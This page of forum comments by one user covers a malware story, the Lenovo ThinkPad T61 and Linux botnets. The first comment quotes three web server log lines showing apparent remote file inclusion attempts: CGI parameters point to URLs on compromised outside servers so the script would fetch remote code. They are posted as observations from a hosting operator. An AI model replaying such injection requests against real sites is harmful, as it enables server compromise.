Posts by Richard Greenway

Hackers find clever new way to hose Google users

Not Surprised

I've been seeing this from the hosting side for a few months now.

galadriel.netgroup.cz - - [03/Mar/2008:10:02:12 -0800] "GET /cgi-bin/ids/index.cgi?mode=http%3A%2F%2Fwww.altaiseer-eg.com%2Far%2Farticles%2Fjed%2Fumut%2F&album=/Computing/Seattle_Robotics_Society/Robothon_2006 HTTP/1.0" 200 12973 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"

galadriel.netgroup.cz - - [03/Mar/2008:10:02:13 -0800] "GET /cgi-bin/ids/index.cgi?mode=http%3A%2F%2Fwww.pattibus.it%2Fphplib-7.2b%2Fpages%2Filosi%2Fdohigal%2F&album=/Computing/Seattle_Robotics_Society/Robothon_2006 HTTP/1.0" 200 12973 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"

galadriel.netgroup.cz - - [03/Mar/2008:10:02:15 -0800] "GET /cgi-bin/ids/index.cgi?mode=http%3A%2F%2Fwww.channelnewsperu.com%2Fimagenes%2Fpublicaciones%2Ffotos%2Fnepicu%2Fegul%2F&album=/Computing/Seattle_Robotics_Society/Robothon_2006 HTTP/1.0" 200 12973 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"

Randomly changing cgi fields with the full address of compromised servers.

trying to cache in on everyones machines.

Lenovo ThinkPad T61

Re: Active Protection

Not really an accelerometer, but a rate gyro. So the only thing it really can tell is rotations. If you open the real time status for APS you can hold the laptop on some bizarre angle, and it will reset thinking that is normal upright. (An accel would still be able to determine what the orientation the laptop is in from g) It works then by detecting the signs of a fall.. eg tipping off the edge of the table, or bed. But if you managed to drop it straight down, with no tilting on the way, APS won't stop the drive. It's better if you rock it a few times to get the auto-ignore repetitive shocks going. (yellow triangle)

Re: Still has various faults

When I purchased my T61 in November, there was an option for both 14" and 15" 4:3 displays.

I haven't really had an issue with where the ports are. I do engineering and programing work on mine, so don't really need the "consumer" functions like audio/video. Most I have had plugged in are the usb programmers and software dongles.

It does have firewire, and there is DVI in the expansion port on the bottom.. Bummer that the docking bay that brings it out is another $300. (There is probably even Line In on that port.. There are a lot of pins...)

I went with the cheaper integrated graphics.. Not really because I'm cheap. (heck I bought a T61) but the battery life goes down pretty fast with the nVidia chip. That being said, I dropped the CD-RW/DVD (didn't even want the dvd burner.) for an ultrabay battery and put the bigger 7cell main battery in. Which gives me ~6hours off the plug (with moderate usage (eg only 1 radio on, display less then 50% brightness, audio muted, processor speed set to lower)

The really great feature that ElReg missed was that the thing isn't loaded with piles of crap software. (Who needs 300 sample games that expire in 20 days?)

My complaints?:

The 3 button mouse I have yet to actually get to be three buttons.. The Middle button just makes the thumb-knob act like a scroll wheel.. Handy, but not a middle click to be seen for that mouse button. Only way that I have gotten a middle click is to remap the lower right mouse buttons to middle click.. Bah.

My only other complaint is that the display brightness adjustment takes 2 hands.. (Fn on the Left, Pgup/Pgdn in the top right.) Hard to dial the brightness down when settling down in bed to finish that late night C code.

Huge Benefits?

Lenovo still publishes complete teardown directions to get to every little piece internal to the laptop, Including clear directions on how to replace duff parts.

For me, the Battery life.

And that it's small enough (14" widescreen) to fit easily in my pack.

Things that would be cool to add..

Using the Intel Turbo Memory. (which is useless in XP) as just a spare gig of flash storage, handy place to drop movies so they don't access the HD when watching. (Better battery life)

eBay: Botnets are Linux-happy

Linux Phishing

I certainly would not be surprised with a larger number of compromised linux machines hosting phishing sites, or sending spam.

Many home linux users of course open up servers on their machine for their own use, ssh, ftp. And probably don't examine their log files regularly.

For fun, just

cat /var/log/messages | grep sshd | grep failed

Anyone not setting up proper iptables filters to block multiple wrong attempts is very vulnerable.

Poor passwords are just as likely on a linux box as on a windows one.